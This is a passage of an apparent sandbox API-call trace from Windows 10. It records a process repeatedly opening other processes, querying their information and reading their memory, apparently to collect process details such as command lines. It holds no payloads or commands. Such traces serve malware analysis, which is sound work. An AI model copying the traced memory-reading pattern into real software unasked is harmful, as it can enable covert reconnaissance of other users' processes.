_ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.769] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x16c [0290.769] GetLastError () returned 0x0 [0290.771] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.773] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3af018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.773] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.773] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d60, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.773] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.775] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.776] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.777] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3af020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.777] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.777] malloc (_Size=0x9a) returned 0x20abc286230 [0290.777] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d198a, lpBuffer=0x20abc286230, nSize=0x98, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286230*, lpNumberOfBytesRead=0x0) returned 1 [0290.778] free (_Block=0x20abc286230) [0290.778] CloseHandle (hObject=0x16c) returned 1 [0290.779] _ui64tow_s (in: _Value=0xe34, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3636") returned 0x0 [0290.783] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3636") returned 4 [0290.784] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.784] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.801] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x16c [0290.801] GetLastError () returned 0x0 [0290.802] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5418f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.821] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.823] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.823] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.823] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.823] malloc (_Size=0x78) returned 0x20abc282120 [0290.823] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0290.824] free (_Block=0x20abc282120) [0290.825] CloseHandle (hObject=0x16c) returned 1 [0290.825] _ui64tow_s (in: _Value=0xe3c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3644") returned 0x0 [0290.829] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3644") returned 4 [0290.831] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.831] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.847] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe3c) returned 0x16c [0290.847] GetLastError () returned 0x0 [0290.848] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.848] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2fd018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.848] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.850] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.850] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc22fc240, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.852] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.853] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.854] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2fd020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.854] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.854] malloc (_Size=0x72) returned 0x20abc2831b0 [0290.854] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0290.855] free (_Block=0x20abc2831b0) [0290.855] CloseHandle (hObject=0x16c) returned 1 [0290.856] _ui64tow_s (in: _Value=0xe4c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3660") returned 0x0 [0290.860] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3660") returned 4 [0290.861] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.861] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.912] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x16c [0290.912] GetLastError () returned 0x0 [0290.913] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.913] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x275018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.914] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.914] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x151cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.914] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1518f8, lpBuffer=0x2dc22fc240, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.916] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.917] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.917] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x275020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.917] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.918] malloc (_Size=0x60) returned 0x20abc2801b0 [0290.918] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x151950, lpBuffer=0x20abc2801b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0290.918] free (_Block=0x20abc2801b0) [0290.919] CloseHandle (hObject=0x16c) returned 1 [0290.919] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0290.924] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3676") returned 4 [0290.925] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.925] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.941] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x16c [0290.941] GetLastError () returned 0x0 [0290.942] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.942] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.950] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.950] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x531cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.951] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5318f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.952] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.954] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.954] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.954] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5312e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.954] malloc (_Size=0x6a) returned 0x20abc2831b0 [0290.954] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x53195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0290.955] free (_Block=0x20abc2831b0) [0290.955] CloseHandle (hObject=0x16c) returned 1 [0290.956] _ui64tow_s (in: _Value=0xe68, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3688") returned 0x0 [0290.960] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3688") returned 4 [0290.962] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.962] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0290.979] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe68) returned 0x16c [0290.979] GetLastError () returned 0x0 [0290.980] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0290.980] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0290.981] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0290.981] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x591ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.981] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5918f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.982] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.984] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0290.984] malloc (_Size=0x6c) returned 0x20abc2831b0 [0290.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x59195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0290.985] free (_Block=0x20abc2831b0) [0290.986] CloseHandle (hObject=0x16c) returned 1 [0290.986] _ui64tow_s (in: _Value=0xe78, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0291.007] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3704") returned 4 [0291.008] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.008] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.025] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x16c [0291.025] GetLastError () returned 0x0 [0291.026] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.026] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x322018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.027] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.027] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.027] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.028] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.030] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.030] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x322020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.030] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.030] malloc (_Size=0x70) returned 0x20abc2831b0 [0291.030] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0291.031] free (_Block=0x20abc2831b0) [0291.032] CloseHandle (hObject=0x16c) returned 1 [0291.032] _ui64tow_s (in: _Value=0xe80, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3712") returned 0x0 [0291.050] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3712") returned 4 [0291.051] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.051] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.098] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe80) returned 0x16c [0291.098] GetLastError () returned 0x0 [0291.100] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.100] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.100] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.100] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x491cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.100] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4918f8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.102] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.103] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.103] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.103] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.104] malloc (_Size=0x5e) returned 0x20abc280840 [0291.104] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49194e, lpBuffer=0x20abc280840, nSize=0x5c, 